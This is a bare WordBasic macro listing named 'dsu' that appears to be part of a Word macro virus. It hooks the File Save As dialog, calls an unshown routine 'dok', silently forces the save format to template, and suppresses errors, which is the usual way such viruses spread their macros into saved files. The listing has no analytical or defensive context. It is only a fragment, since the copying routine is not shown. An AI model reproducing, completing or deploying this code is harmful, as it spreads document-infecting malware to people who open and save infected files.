'Macro name: dsu'

Sub MAIN
a = Val(GetDocumentVar$("tk"))
ScreenUpdating
If a Then
If DocMaximize() Then
DocMaximize
b = 1
EndIf
FileNew
EndIf
Dim c As FileSaveAs
On Error Goto a
Dialog c
a:
If a Then
FileClose
If b Then DocMaximize
EndIf
If err = 0 Then
dok
c.Format = 1
ScreenUpdating
On Error Resume Next
FileSaveAs c
EndIf
End Sub
